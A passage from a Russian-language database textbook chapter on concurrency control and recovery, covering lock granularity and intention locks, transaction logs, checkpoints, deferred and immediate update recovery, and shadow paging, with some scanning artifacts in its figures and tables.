Хотя применение оптимистических технологий весьма эффективно в случае незначительного количества конфликтов в системе, они могут вызывать откат отдельных транзакций. Следует отметить, что откат касается только локальных копий данных и возникновение каскадного отката исключается, поскольку любые выполненные изменения не заносились в саму базу данных. Однако, если отменяемая транзакция окажется достаточно продолжительной, много ценного процессорного времени будет потрачено впустую, так как транзакцию придется запускать еще раз. Если откаты возникают достаточно часто, это может указывать на то, что оптимистические технологии мало подходят для управления параллельностью в данной конкретной системе.
Уровень детализации блокируемых элементов данных
Уровень Размер элементов данных, выбранных в качестве защшцаемой детализации единицы для протокола управления параллельностью.
Во всех обсуждавшихся выше протоколах управления параллельностью предполагалось, что база данных состоит из некоторого количества “элементов данных”, причем дополнительно не уточнялось, что означает этот термин. Как правило, в качестве элемента данных выбирается один из перечисленных ниже объектов, размеры которых варьируются от очень крупных до мельчайших.
Вся база данных.
Отдельный файл.
Отдельная страница данных (иногда называемая областью или блоком базы данных — сектор на физическом диске, используемом для хранения таблиц).
Отдельная запись.
Отдельное поле в записи.
Размер, или уровень детализации, элемента данных, который может быть заблокирован отдельной операцией транзакции, оказывает сильнейшее влияние на общую производительность системы и эффективность работы протокола управления параллельно-
стью. Однако можно достичь нескольких компромиссов, что следует учитывать при выборе размера элемента данных в системе. Мы обсудим эти возможные компромиссы в контексте использования механизма блокировок, хотя те же самые аргументы будут справедливы и в случае применения других протоколов управления параллельностью.
Рассмотрим транзакцию, которая обновляет единственный кортеж в отношении. Алгоритм протокола управления параллельностью может позволить транзакции заблокировать только этот единственный кортеж, и в данном случае уровень детализации блокировки будет установлен равным отдельной записи. Однако можно позволить транзакции заблокировать и всю базу данных в целом, и на этот раз уровень детализации блокировки будет равен всей базе данных. Совершенно очевидно, что во втором случае выбранный уровень детализации будет препятствовать выполнению любой другой транзакции, вплоть до отмены установленной блокировки. С другой стороны, если транзакция выполняет обновление 95% записей файла, то лучше позволить ей заблокировать сразу весь файл и не вынуждать систему выполнять блокировку каждой из его записей в отдельности.
Таким образом, чем крупнее размер элемента данных, тем ниже возможный уровень параллельности в системе, ф другой стороны, чем мельче размер элемента данных, тем больший объем информации о выполненных блокировках придется хранить. Оптимальный размер элемента данных зависит от природы выполняемых транзакций. Если типичная транзакция обрабатывает незначительное количество записей, целесообразно установить уровень детализации блокировки равным отдельной записи. В то же время, если типичной транзакции требуется доступ ко множеству записей одного и того же файла, более выгодным решением будет установить уровень детализации равным отдельному блоку или даже файлу. В этом случае для получения доступа к требуемым данным транзакции потребуется заблокировать лишь один (или несколько) элемент данных.
Было предложено несколько методов динамической установки размера элемента данных. В соответствии с этими методами, размер элемента данных зависит от типа выполняемых в данный момент транзакций и устанавливается из соображений оптимального соответствия их требованиям. В идеале, СУБД должна поддерживать смешанный уровень детализации, позволяющий блокировать отдельные записи, страницы и целые файлы. Некоторые системы автоматически повышают уровень детализации от отдельных записей или страниц до уровня файла, если определенная транзакция блокирует больше установленного процента записей или страниц некоторого файла.
Иерархия уровней детализации
Существующие уровни детализации блокируемых элементов можно представить в виде иерархической структуры, в которой каждый узел будет представлять элемент данных определенного размера — как показано на рис. 17.4. На этой диаграмме корневой узел представляет всю базу данных, узлы 1-го уровня — это отдельные файлы, а узлы 2-го уровня — страницы. На третьем уровне располагаются узлы, представляющие отдельные записи файлов, а на четвертом — поля этих записей. Если какой-то из элементов данных блокируется, то автоматически оказываются заблокированными и все его узлы-потомки. Например, если транзакция выполнит блокировку страницы Страница.^ то все расположенные в ней записи и их поля также окажутся заблокированными. Если другая транзакция потребует установления блокировки несовместимого типа для этого же самого узла, СУБД легко определит, что это требование удовлетворить не удастся.
Если некоторая транзакция потребует установить блокировку любого из потомков уже заблокированного узла, СУБД, прежде чем принять решение о возможности удовлетворения этого запроса, потребуется обследовать иерархический путь от корня схемы до того узла, который представляет запрошенный элемент, — с целью проверки, является ли заблокированным какой-либо из предков требуемого узла. Таким образом, при поступлении запроса на блокировку для записи элемента Запись! СУБД потребуется проверить его родительский узел (Страница^, затем — родительский узел его роди-
тельского узла (Файл2) и, наконец, — корневой узел иерархии (База данных) с целью выяснения, не является ли один из них заблокированным. Будет обнаружено, что узел Страница2 заблокирован, следовательно, выполнение запроса следует отклонить.
Уровень ОУровень ОУровень 1Уровень 1Уровень 2Уровень 2Уровень 3Уровень 3Уровень 4Уровень 4Рис. 17.4. Иерархическая схема уровней блокировкиРис. 17.4. Иерархическая схема уровней блокировки
Уровень О
Уровень О
Уровень 1
Уровень 1
Уровень 2
Уровень 2
Уровень 3
Уровень 3
Уровень 4
Уровень 4
Рис. 17.4. Иерархическая схема уровней блокировки
Рис. 17.4. Иерархическая схема уровней блокировки
Кроме того, транзакция может потребовать установить блокировку узла, который имеет заблокированный узел-потомок. Например, если поступит требование заблокировать элемент Файл2, СУБД потребуется проверить состояние каждой из страниц этого файла, каждой записи в отдельных страницах и каждого поля всех записей файла, чтобы выяснить, не является ли один из этих элементов заблокированным. Для сокращения объема поисков, необходимых для выявления блокировок, выполненных для потомков узла, СУБД может использовать иную специализированную стратегию выполнения блокировки, называемую многоуровневой блокировкой. В этой стратегии используется новый тип блокировки, называемый блокировкой намерения (Gray et al., 1975). Когда блокируется любой из узлов схемы, блокировка намерения устанавливается на все узлы — предки данного узла. Следовательно, если некоторый из потомков узла Файл2 (например, Страница^ является заблокированным и выдается запрос на установку блокировки самого узла Файл2, наличие блокировки намерения, установленной для этого узла, укажет системе, что один из предков данного узла является заблокированным.
Блокировка намерения может быть либо разделяемой (Shared) — для чтения, — либо эксклюзивной (exclusive) — для записи. Разделяемая блокировка намерения (IS) конфликтует только с эксклюзивной блокировкой, тогда как эксклюзивная блокировка намерения (IX) конфликтует как с разделяемой, так и с эксклюзивной блокировкой. Кроме того, транзакции могут устанавливать разделяемую и эксклюзивную блокировку намерения (SIX), которая логически эквивалентна установке и раз-
деляемой, и эксклюзивной блокировке намерения. SIX-блокировка конфликтует с любой блокировкой, конфликтующей с разделяемой или с эксклюзивной блокировкой. Другими словами, SIX-блокировка совместима только с IS-блокировкой. Сводные данные о совместимости различных типов блокировок намерения многоуровневого протокола приведены в табл. 17.14.
Таблица 17.14. Совместимость различных типов блокировок в многоуровневом протоколе блокировки
IS
IX
S
SIX
X
IS
V
V
✓
V
X
IX
V
V
X
X
X
S
V
X
✓
X
X
SIX
V
X
X
X
X
X
X
X
X
X
X
V = совместимы; х = несовместимы
Для гарантированного получения упорядоченных графиков в случае применения нескольких уровней блокировки двухфазный протокол блокировки должен функционировать следующим образом.
Ни один элемент данных не может быть заблокирован, пока не будет освобожден представляющий его узел.
Ни один из узлов не может быть освобожден, пока его родительский узел не будет освобожден от блокировки намерения.
Ни один узел не может быть освобожден, пока не будут освобождены все его потомки.
В этом случае блокировка устанавливается начиная с корня иерархии вниз, с использованием блокировок намерения вплоть до достижения узла, представляющего элемент данных, блокируемый для записи или для чтения. Освобождение блоков выполняется снизу вверх. Следует отметить, что по-прежнему сохраняется возможность возникновения взаимной блокировки и устранение этих ошибок должно осуществляться по рассмотренным выше правилам.
Восстановление базы данных
Восстановление Процесс возвращения базы данных в корректное состояние, базы данных утраченное в результате сбоя или отказа.
В начале этой главы было введена концепция восстановления базы данных, представленная как служба СУБД, гарантирующая надежное сохранение базы данных в согласованном состоянии даже при наличии в системе отказов. В этом контексте понятие надежности относится как к устойчивости СУБД в отношении различных типов отказов, так и к ее способности восстанавливать свое состояние после их появления. В данном разделе мы познакомимся с тем, как подобные службы могут быть организованы. Чтобы лучше понять потенциальные проблемы, с которыми можно столкнуться при создании надежных систем, вначале мы выясним, зачем может потребоваться восстанавливать систему, а затем познакомимся с различными типами отказов, которые могут иметь место в вычислительной среде с базами данных.
Необходимость восстановления
Для хранения данных в общем случае может быть использовано четыре различных типа носителей, которые мы перечислим в порядке возрастания их надежности: оперативная память, магнитный диск, магнитная лента и оптический диск. Оперативная память представляет собой временное хранилище информации, содержимое которого в случае отказа системы обычно разрушается. Магнитные диски представляют собой оперативное постоянное хранилище информации. Диски более надежны и значительно дешевле, чем основная память, однако скорость доступа к информации у них меньше на три-четыре порядка. Магнитная лента представляет собой автономный постоянный носитель информации, надежность которого существенно выше, чем у магнитного диска, а стоимость намного ниже. Однако эти носители предоставляют только последовательный доступ к информации, причем скорость его относительно невелика. Оптические диски являются более надежными носителями информации, чем магнитные ленты, достаточно недорогими, более быстродействующими и, к тому же, допускающими произвольный доступ к информации. Оперативную память часто называют первичной памятью, а магнитные диски и ленты — вторичной памятью. Устойчивые хранилища обеспечивают надежное сохранение информации, размещая несколько ее копий на различных постоянных носителях (обычно дисках), одновременный отказ которых маловероятен. В частности, устойчивое хранение информации может быть организовано с использованием RAID-технологии, гарантирующей, что отказ отдельного дискового устройства (даже в процессе передачи данных) не вызовет потери данных.
Существует множество различных типов отказов, способных повлиять на функционирование базы данных, каждый из которых требует особых способов обработки. Одни отказы влияют только на содержимое оперативной памяти, другие могут воздействовать и на вторичную память системы. Ниже перечислены некоторые причины, способные вызвать отказы.
Аварийное прекращение работы системы, вызванное ошибкой оборудования или программного обеспечения, приведшей к разрушению содержимого оперативной памяти.
Отказ носителей информации — например, разрушение магнитной головки или появление неустранимого сбоя чтения, имеющее следствием потерю части вторичной памяти системы.
Ошибки прикладных программ — например, логические ошибки в программах, получающих доступ к базе данных, послужившие причиной сбоев при выполнении одной или нескольких транзакций.
Стихийные бедствия — пожары, наводнения, землетрясения или отказы в сети электропитания.
Небрежное или легкомысленное обращение, послужившее причиной непреднамеренного разрушения данных или программ со стороны операторов или пользователей системы.
Диверсии и преднамеренное разрушение или уничтожение данных, оборудования или программного обеспечения.
Какой бы ни была причина отказа системы, существует два принципиальных следствия, которые надо учитывать: утрата содержимого оперативной памяти, в том числе буфера базы данных, и утрата копии базы данных на дисках. Дальше в этом разделе мы обсудим концепции и технологии, позволяющие минимизировать последствия аварий и осуществить успешное восстановление системы после сбоя.
Транзакции и восстановление
Транзакции представляют собой основную единицу восстановления в системах с базами данных. Именно менеджер восстановления СУБД обеспечивает поддержку двух из четырех основных свойств транзакций — атомарность и продолжительность — даже при наличии сбоев в системе. Менеджер восстановления должен гарантировать, что при восстановлении после сбоя для каждой отдельной транзакции в базе данных будут постоянно фиксироваться либо все внесенные ею изменения, либо ни одного из них. Ситуация осложняется тем фактом, что запись в базу данных не представляет собой атомарного действия (выполняемого за один шаг), и поэтому существует вероятность, что, когда выполнение транзакции будет завершено, внесенные ею изменения не будут реально отражены в базе данных по той простой причине, что еще не достигли файлов базы данных.
Еще раз вернемся к первому из рассмотренных в данной главе примеру, в котором выполнялось увеличение заработной платы работника компании (см. табл. 17.1, Вариант А). При выполнении операции чтения СУБД осуществляет следующие действия.
Определяет дисковый адрес блока данных, содержащего запись с первичным ключом sno.
Считывает блок данных с диска и помещает его в буфер СУБД в оперативной памяти.
Копирует сведения о зарплате из буфера СУБД в переменную salary.
При выполнении операции записи СУБД осуществляет следующие действия:
определяет дисковый адрес блока данных, содержащего запись с первичным ключом sno;
считывает блок данных с диска и помещает его в буфер СУБД в оперативной памяти;
копирует сведения о зарплате из переменной salary в буфер СУБД;
выводит блок данных из буфера СУБД в оперативной памяти на диск.
Буфера СУБД занимают определенную часть оперативной памяти и используются для обмена данными со вторичной памятью системы. Только после того как соответствующий буфер выгружен во вторичную память, можно считать, что выполненные операции обновления приобрели постоянный характер. Выгрузка буферов в базу данных может инициироваться по специальной команде (например, по команде завершения транзакции) или же автоматически, как только буфер будет заполнен. Выдачу явного указания о необходимости записи содержимого буферов во вторичную память называют принудительной записью.
Если отказ системы произойдет между записью данных в буфер и выгрузкой буфера во вторичную память, менеджер восстановления должен уточнить состояние транзакции, выполнявшей запись в момент аварии. Если транзакция уже выдала команду завершения, то для обеспечения продолжительности ее результатов менеджер восстановления должен повторно (redo) ее выполнить (иногда говорят, прогнать), чтобы восстановить все внесенные ею изменения.
С другой стороны, если на момент отказа системы транзакция еще не была завершена, менеджер восстановления должен отменить (undo) любые ее результаты (откатить транзакцию в базе данных), что будет гарантировать соблюдение ее атомарности. Если требуется откатить только одну транзакцию, то это — частичный откат. Частичный откат может инициироваться графиком, когда транзакция откатывается и перезапускается по требованию протокола управления параллельностью — как описывалось в предыдущем разделе. Кроме того, транзакция может отменяться по внутренним причинам — например, по требованию пользователя или в результате возникновения исключительной ситуации в прикладной программе. Если требуется выполнить откат всех активных транзакций, то это — глобальный откат.
Пример 17*11. Пример выполнения операций отката и прогона
На рис. 17.5 показано несколько параллельно выполняющихся транзакций Тп ..., Тв. Работа начинается в момент времени t0, а в момент времени tf происходит отказ. Предположим, что результаты транзакций Т2 и Т3 уже были выгружены во вторичную память к моменту отказа системы.
Очевидно, что транзакции Тг и Тв еще не были завершены на момент отказа системы. Следовательно, при перезапуске СУБД менеджер восстановления должен выполнить их откат. Однако остается не вполне понятным, какие изменения, выполненные остальными (завершившимися) транзакциями, были перенесены в базу данных во вторичной памяти. Причина этой неопределенности состоит в том, что одна часть временных буферов СУБД могла быть уже выведена на диск, а другая — нет. При отсутствии какой-либо дополнительной информации, менеджеру восстановления потребуется принудительно повторно прогнать транзакции Т2, Т3, Т4 и Т5.
Т1 1i
У2 II[
Тз Ili т4।i1
т5; ।1
т6:।
totctf
Puc. 17.5. Пример выполнения операций отката и прогона
Функции восстановления
Типичная СУБД должна предоставлять такие функции восстановления, как:
механизм резервного копирования, предназначенный для периодического создания копий базы данных;
средства ведения журнала, в котором фиксируются текущее состояние транзакций и вносимые в базу данных изменения;
функция создания контрольных точек, обеспечивающая перенос выполняемых в базе данных изменений во вторичную память с целью сделать их постоянными;
менеджер восстановления, обеспечивающий восстановление согласованного состояния базы данных, нарушенного в результате отказа.
Механизм резервного копирования
Любая СУБД должна предоставлять механизм, позволяющий создавать резервные копии базы данных и ее файла журнала (он обсуждается в следующем разделе) через установленные интервалы и без необходимости останавливать систему. Резервная копия базы данных используется в случае повреждения или разрушения файлов базы данных во вторичной памяти. Резервное копирование может выполняться для базы данных в целом или в инкрементном режиме. В последнем случае в копию помещаются сведения только об изменениях, накопившихся с момента создания предыдущей полной или инкрементной копии системы. Как правило, резервные копии создаются на автономных носителях — например, на магнитных лентах.
Файл журнала
Для фиксации хода выполнения транзакций в базе данных СУБД использует специальный файл, который называют журналом. Он содержит сведения обо всех обновлениях, выполненных в базе данных. В файл журнала может помещаться следующая информация:
записи о транзакциях, включающие:
идентификатор транзакции;
тип записи журнала (начало транзакции, операции вставки, обновления или удаления, отмена или фиксация транзакции);
идентификатор элемента данных, вовлеченного в операцию обработки базы данных (операции вставки, удаления и обновления);
копию элемента данных до операции, т.е. его значение до изменения (только операции обновления и удаления);
копию элемента данных после операции, т.е. его значение после изменения (только для операций обновления и вставки);
служебную информацию файла журнала, включающую указатели на предыдущую и следующую записи журнала для этой транзакции (любые операции);
записи контрольных точек, речь о которых пойдет чуть позже.
Очень часто файл журнала используется и для других целей, отличных от задач восстановления (например, для сбора сведений о текущей производительности, накопления контрольной информации и т.д.). В этом случае в файл журнала может помещаться множество дополнительной информации (например, сведения об операциях чтения, о регистрации пользователей, о завершении сеансов пользователей и т.д.). Однако она не имеет отношения к функциям восстановления базы данных и, следовательно, будет оставлена нами без внимания. В табл. 17.15 представлен фрагмент файла журнала, содержащий сведения о трех выполняющихся параллельно транзакциях Tl, Т2 и ТЗ. В столбцы PPtr и NPtr помещены указатели на предыдущую и последующую записи журнала для каждой из транзакций.
Таблица 17.15. Фрагмент файла журнала
Идентификатор транзакции
Время
Операция
Объект
До выполнения
После выполнения
PPtr
NPtr
Т1
10:12
START
0
2
Т1
10:13
UPDATE
STAFF
Исходное
Новое
1
8
SL21
значение
значение
Т2
10:14
START
0
4
Т2
10:16
INSERT
STAFF
Новое
3
5
SG37
значение
Т2
10:17
DELETE
STAFF
Исходное
4
6
SA9
значение
Т2
10:17
UPDATE
PROPERT
Исходное
Новое
5
9
Y PG16
значение
значение
ТЗ
10:18
START
0
11
Т1
10:18
COMMIT
2
0
10:19
CHECKPOINT
T2. T3
Т2
10:19
COMMIT
6
0
ТЗ
10:20
INSERT
PROPERT
Новое
7
12
Y PG4
значение
ТЗ
10:21
COMMIT
11
0
По причине его важности для процессов восстановления, файл журнала транзакций может создаваться в двух и даже в трех экземплярах, которые будут автоматически поддерживаться системой. В случае повреждения одной копии при восстановлении будет использоваться другая. Раньше файлы журнала обычно создавались на магнитных лентах, поскольку этот носитель был надежнее и дешевле магнитных дисков. Однако в настоящее время требуется, чтобы СУБД была способна быстро восстанавливать нормальную работу в случае незначительных повреждений. В связи с этим требуется, чтобы файл журнала был доступен оперативно и создавался на устройстве, поддерживающем произвольный доступ с достаточно высокой скоростью обмена.
В некоторых больших системах, в которых каждый день генерируется огромный объем помещаемой в файл журнала информации (например, ежедневный объем в 104 Мбайт не является чем-то необычным), не представляется возможным содержать все эти данные оперативно доступными в течение всего требуемого времени. Оперативный доступ к файлу журнала требуется только в случае восстановления после незначительных отказов (например, при откате транзакции в результате взаимной блокировки). В случае более тяжелых аварий (например, обрыве головки магнитного диска) на восстановление системы потребуется более длительное время и доступ к значительной части всего файла журнала. В подобных случаях простои, связанные с приведением отдельных фрагментов журнала в оперативное состояние, оказываются вполне приемлемыми.
Один из подходов к автономной обработке файла журнала состоит в разделении оперативного файла журнала на две независимые части, организованные в виде файлов с произвольным доступом. Записи журнала помещаются в первый файл до тех пор, пока он не оказывается заполненным до установленного уровня (например, на 70%). Затем открывается второй файл и все записи журнала для новых транзакций записываются уже в него. Сведения о старых транзакциях помещаются в первый файл до тех пор, пока обработка всех старых транзакций не будет завершена. В этот момент первый файл закрывается и переводится в автономное состояние. Подобный подход упрощает восстановление отдельных транзакций, поскольку записи о каждой отдельной транзакции всегда содержатся в одном фрагменте файла журнала — либо в оперативном, либо в автономном. Следует отметить, что файл журнала потенциально является узким местом с точки зрения производительности любых систем, поэтому скорость записи информации в файл журнала может оказаться одним из важнейших факторов, определяющих общую производительность системы с базой данных.
Создание контрольных точек
Помещаемая в файл журнала информация предназначена для использования в процессе восстановления системы после отказа. Одно из основных затруднений в этой схеме состоит в том, что, когда происходит отказ, может отсутствовать какая-либо информация о том, насколько далеко назад следует “откатиться” в файле журнала, чтобы начать повторный прогон уже завершенных транзакций. В результате, может оказаться, что повторный прогон будет выполнен для тех транзакций, которые уже были окончательно зафиксированы в базе данных. Для ограничения объема поиска и последовательной обработки информации в файле журнала используется технология создания контрольных точек.
Контрольная Момент синхронизации между базой данных и журналом регист- точкарации транзакций. Все буфера системы принудительно записыва-
ются во вторичную память системы.
Контрольные точки организуются через установленный интервал времени и включают выполнение следующих действий.
Запись всех имеющихся в оперативной памяти записей журнала во вторичную память.
Запись всех модифицированных блоков в буферах базы данных во вторичную память.
Помещение в файл журнала записи контрольной точки. Эта запись содержит идентификаторы всех транзакций, которые были активны в момент создания этой контрольной точки.
Если транзакции выполняются последовательно, то после возникновения отказа файл журнала просматривается с целью обнаружения последней из транзакций, начавших свою работу до момента создания последней контрольной точки. Любая более ранняя транзакция будет зафиксирована в базе данных, это значит, что ее изменения были перенесены на диск в момент создания последней контрольной точки. Следовательно, прогону подлежит только транзакция, которая была активна в момент создания контрольной точки, а также все прочие транзакции, которые начали свою работу позже, и для которых в журнале присутствуют записи как начала, так и завершения. Та транзакция, которая была активна в момент отказа, должна быть отменена. В случае, если транзакции выполняются в системе параллельно, потребуется повторный прогон всех транзакций, которые завершили свою работу с момента создания контрольной точки, и выполнение отката всех транзакций, которые были активны в момент отказа.
Пример 17.12. Пример выполнения операций отката и прогона« при наличии контрольной точки'
Вновь обратимся к примеру 17.11. Если предположить, что в момент времени tc была создана контрольная точка, то это позволит установить, что результаты выполнения транзакций Т2 и Т3 уже внесены во вторичную память. Поэтому менеджеру восстановления не потребуется выполнять повторный прогон этих транзакций. Однако прогон потребуется выполнить для транзакций Т4 и Т5, которые завершили свою работу уже после создания контрольной точки. Кроме того, потребуется выполнить откат транзакций Tj и Tfl, которые все еще были активны в момент возникновения отказа.
Обычно создание контрольных точек представляет собой относительно недорогую операцию, поэтому часто оказывается возможным создавать три или даже четыре контрольные точки в час. В результате при сбое потребуется восстановить работу, выполненную всего лишь за 15-20 минут.
Методы восстановления
Тип процедуры, которая будет использована для восстановления базы данных, зависит от размера повреждений, которые были нанесены этой базе в результате отказа. Рассмотрим два варианта.
Если базе данных нанесены обширные повреждения (например, разрушилась магнитная головка диска), то потребуется восстановить ее последнюю резервную копию, после чего повторить в ней все выполненные транзакции, сведения о которых присутствуют в журнале регистрации. Безусловно, предполагается, что файл журнала поврежден не был. При обсуждении пятого этапа физического проектирования базы данных (в соответствии с методологией, предложенной в главе 9, “Методология физического проектирования реляционных баз данных”) рекомендовалось, чтобы во всех случаях, когда это возможно, файл журнала создавался на дисковых носителях, отличных от тех, на которых размещены основные файлы базы данных. Подобное решение снижает риск одновременной потери как файлов базы данных, так и файла ее журнала.
Если база данных не получила физических повреждений, но лишь утратила согласованность размещенных в ней данных (например, из-за аварийного останова системы в процессе обработки транзакций), то достаточно будет отменить те изменения, которые вызвали переход базы данных в несогласованное состояние. Кроме того, возможно потребуется повторно прогнать некоторые транзакции, чтобы иметь уверенность в том, что внесенные в них изменения действительно зафиксированы во вторичной памяти. В данном случае нет необходимости обращаться к резервной копии базы
данных, поскольку вернуть базу в согласованное состояние можно с помощью информации о содержимом полей до и после модификации, сохраняемой в файле журнала.
Дальше мы подробно рассмотрим два метода восстановления, которые могут быть применены в последнем из указанных выше случаев — т.е. когда база данных не была полностью разрушена, но лишь утратила согласованное состояние. Предлагаемые методы, известные как метод отложенного обновления и метод немедленного обновления, отличаются друг от друга способом внесения обновлений во вторичную память. Кроме того, мы бегло познакомимся с альтернативным методом, известным как метод теневых страниц.
Метод восстановления с использованием отложенного обновления
При использовании этого протокола обновления не заносятся в базу данных до тех пор, пока транзакция не выдаст команду фиксации выполненных изменений. Если выполнение транзакции будет прекращено до достижения этой точки, никаких изменений в базе данных выполнено не будет, поэтому не потребуется и их отмена. Однако в данном случае может потребоваться повторный прогон уже завершившихся транзакций, поскольку их результаты могли еще не достичь вторичной памяти. При применении данного метода файл журнала используется с целью восстановления следующим образом.
При запуске транзакции в журнал помещается запись Начало транзакции.
При выполнении любой операции записи помещаемая в файл журнала строка содержит все указанные выше данные (за исключением значения элементов данных до обновления). Реально запись изменений в буфера СУБД или саму базу данных не производится.
Когда транзакция достигает своей конечной точки, в журнал помещается запись Транзакция завершена. Все записи журнала по данной транзакции выводятся на диск, после чего выполняется фиксация внесенных транзакцией изменений. Для внесения действительных изменений в базу данных используется информация, помещенная в файл журнала.
В случае отмены выполнения транзакции записи журнала по данной транзакции аннулируются и не выводятся на диск.
Обратите внимание на то, что записи журнала по выполненной транзакции выводятся на диск до того, как ее результаты будут зафиксированы. Поэтому если отказ базы данных произойдет в процессе действительного выполнения обновлений в базу данных, помещенные в журнал сведения сохранятся и требуемые обновления можно будет выполнить позже. В случае отказа файл журнала анализируется с целью выявления транзакций, которые находились в процессе выполнения в момент отказа. Начиная с последней строки, файл журнала просматривается в обратном направлении, вплоть до записи о последней выполненной контрольной точке.
Любые транзакции, для которых в файле журнала присутствуют записи Начало транзакции и Транзакция завершена должны быть выполнены повторно. Процедура повторного прогона транзакций выполняет все операции записи в базу данных, используя информацию о состоянии элементов данных после обновления, содержащуюся в записях журнала по данной транзакции, причем в том порядке, в каком они были записаны в файл журнала. Если эти операции записи уже были успешно завершены до возникновения отказа, это не окажет никакого влияния на состояние элементов данных, поскольку они не могут быть испорчены, если будут записаны еще раз. Однако этот метод гарантирует, что будут обновлены любые элементы данных, которые не были корректно обновлены до момента отказа.
Любая транзакция, для которой в файле журнала присутствуют записи • Начало транзакции и Отмена транзакции, просто игнорируется, поскольку никаких реальных обновлений информации в базе данных по ней не выполнялось, а значит, не требуется и реального выполнения их отката.
Если в процессе восстановления возникнет другой системный сбой, записи файла журнала могут быть использованы для восстановления базы данных еще раз. В данном случае не имеет значения, сколько раз каждая из строк журнала была использована для повторного внесения изменений в базу данных.
Метод восстановления с использованием немедленного обновления
При использовании этого протокола все изменения вносятся в базу данных сразу же после их выполнения в транзакции, не дожидаясь ее завершения. Помимо необходимости повторного прогона изменений, выполненных транзакциями, закончившимися до появления сбоя, в данном случае может потребоваться выполнить откат изменений, внесенных транзакциями, которые не были завершены к этому моменту. При применении данного метода файл журнала используется с целью восстановления следующим образом.
При запуске транзакции в журнал помещается запись Начало транзакции.
При выполнении любой операции записи помещаемая в файл журнала строка содержит все указанные выше данные.
Как только упомянутая выше запись будет помещена в файл журнала, все выполненные обновления вносятся в буфера базы данных.
В собственно файлы базы данных изменения будут внесены при очередной разгрузке буферов базы данных во вторичную память.
Когда транзакция завершает свое выполнение, в файл журнала заносится запись Транзакция завершена.'
Очень важно, чтобы в файл журнала все записи (или хотя бы определенная их часть) помещались до внесения соответствующих изменений в базу данных. Это требование известно как протокол предварительной записи журнала. Если изменения вначале будут внесены в базу данных и сбой в системе возникнет до помещения информации об этом в файл журнала, то менеджер восстановления не будет иметь возможности отменить (или повторить) данную операцию. При использовании протокола предварительной записи журнала менеджер восстановления всегда сможет безопасно предположить, что если для определенной транзакции в файле журнала отсутствует запись Транзакция завершена, значит, эта транзакция была активна в момент возникновения отказа и, следовательно, должна быть отменена.
Если выполнение транзакции было прекращено, то для отмены выполненных ею изменений может быть использован файл журнала, так как в нем сохранены сведения об исходных значениях всех измененных элементов данных. Поскольку транзакция может выполнить несколько изменений одного и того же элемента, отмена обновлений выполняется в обратном порядке. Независимо от того, были ли результаты выполнения транзакции внесены в саму базу данных, наличие в записях журнала исходных значений полей гарантирует, что база данных будет приведена в состояние, отвечающее началу отмененной транзакции.
На случай отказа системы процедурой восстановления предусмотрено использование файла журнала для повторного прогона или отката транзакций. Для любой транзакции Т, для которой в файле журнала присутствуют записи Начало транзакции и Транзакция завершена, следует выполнить ее повторный прогон, используя для внесения в базу данных значения после изменения всех обновленных полей — как было описано выше. Отметим, что если новые значения уже были реально внесены в файлы базы данных, повторная их перезапись, хотя и будет излишней, тем не менее не окажет на базу данных никакого отрицательного влияния. Те же изменения, которые еще не достигли ба-
зы данных к моменту отказа, будут в нее внесены в процессе восстановления. Для любой транзакции S, для которой в файле журнала присутствует запись Начало транзакции, но нет записи Транзакция завершена, необходимо выполнить откат внесенных ею изменений. На этот раз из записей файла журнала извлекается информация о значении измененных полей до их изменения, что позволяет привести базу данных в состояние, которое она имела до начала данной транзакции. Операции отмены выполняются в порядке, обратном порядку их записи в файл журнала.
Метод теневых страниц
Альтернативой описанным выше схемам восстановления, построенным на использовании файла журнала, является метод теневых страниц (Lorie, 1977). Этот метод предусматривает организацию на время выполнения транзакции двух таблиц страниц — текущую и теневую. Когда транзакция начинает работу, обе таблицы страниц идентичны. Теневая таблица страниц никогда не изменяется и может быть использована для восстановления базы данных в случае отказа системы. В ходе выполнения транзакции текущая таблица страниц используется для записи в базу данных всех вносимых изменений. После завершения транзакции текущая таблица страниц становится теневой таблицей. Метод теневых страниц имеет ряд преимуществ перед методами использования журнала транзакций: исключается нагрузка, связанная с ведением журнала транзакций, процесс восстановления происходит существенно быстрее, поскольку нет необходимости в повторном прогоне или откате операций. Однако ему свойственны и определенные недостатки: фрагментация данных и необходимость периодического выполнения процедуры сборки мусора для возвращения в систему неиспользуемых блоков памяти.
Улучшенные модели транзакций
Протоколы обработки транзакций, которые мы обсуждали до сих пор, больше всего подходят для тех типов транзакций, которые имеют место в традиционных бизнес- приложениях, при проведении банковских операций и в системах резервирования авиабилетов. Все эти приложения характеризуются следующими особенностями.
"■ Простые типы данных — целые числа, десятичные числа, короткие сим
вольные строки и даты.
Небольшая продолжительность транзакций, обычно не превышающая нескольких минут или даже секунд.
В разделе 21.1 мы познакомимся с более сложными типами приложений баз данных, получивших в последнее время достаточно широкое распространение. К ним относятся различные средства разработки — инженерные (CAD), технологические (САМ) и программные (CASE). Все они имеют ряд общих характеристик, отличающих их от традиционных приложений баз данных.
Создаваемый проект может быть очень большим — вполне возможно, состоящим из миллионов частей, часто объединенных во множество взаимозависимых подсистем, представляющих собой отдельные проекты.
Проект не является статическим объектом и постоянно эволюционирует. При внесении в проект изменения, его следствия часто распространяются на все имеющиеся в проекте подсистемы. Динамическая природа создаваемых проектов может означать, что некоторые действия просто не могут быть предусмотрены заранее, в самом начале работы.
Выполняемые обновления могут иметь далеко идущие последствия, вызванные существующими сложными структурными взаимосвязями, функциональными зависимостями, допусками и т.д. Одно небольшое изменение вполне может оказать влияние на множество различных проектируемых элементов.
Очень часто для отдельных компонентов проекта рассматривается множество различных альтернативных вариантов, причем каждый раз требуется подготовить новую корректную версию всех его компонентов. Решение подобных задач требует наличия средств контроля версий и инструментов управления выбираемой конфигурацией.
В работу могут быть вовлечены сотни людей, работающих над несколькими параллельными версиями одного крупного проекта. Тем не менее конечный продукт должен быть согласованным и сбалансированным. Иногда такой стиль работы называют кооперативным проектированием. Кооперация требует четкого взаимодействия и полной согласованности всех разработок, выполняемых параллельно.
Некоторые из указанных выше особенностей являются причиной того, что выполняемые транзакции становятся чрезвычайно сложными, обрабатывающими множество элементов данных и имеющими очень большую продолжительность — возможно, несколько часов, дней и даже месяцев. Подобные требования вынуждают пересмотреть традиционные протоколы управления транзакциями с целью устранения следующих проблем.
С учетом фактора времени, продолжительные транзакции более чувствительны к отказам. Было бы совершенно неприемлемо отменить выполнение подобной транзакции с потенциальной потерей очень большого объема выполненной работы. Следовательно, чтобы минимизировать возможные потери, необходимо иметь средства для восстановления того состояния транзакции, которое она имела незадолго до возникновения отказа.
